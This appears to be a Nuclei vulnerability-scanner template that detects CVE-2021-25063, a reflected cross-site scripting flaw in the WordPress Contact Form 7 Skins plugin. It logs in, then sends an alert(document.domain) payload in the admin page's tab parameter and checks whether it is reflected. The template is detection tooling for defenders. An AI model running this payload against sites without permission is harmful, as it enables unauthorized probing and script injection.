id: CVE-2021-25063

info:
  name: WordPress Contact Form 7 Skins <=2.5.0 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: WordPress Contact Form 7 Skins plugin 2.5.0 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the tab parameter before outputting it back in an admin page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
  remediation: |
    Update to the latest version of the WordPress Contact Form 7 Skins plugin (2.5.1) or apply the vendor-supplied patch.
  reference:
    - https://wpscan.com/vulnerability/e2185887-3e53-4089-aa3f-981c944ee0bb
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25063
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25063
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.42838
    cpe: cpe:2.3:a:cf7skins:contact_form_7_skins:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: cf7skins
    product: contact_form_7_skins
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,wp-plugin,xss,contactform,authenticated,cf7skins

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src onerror=alert(document.domain)>' type='hidden"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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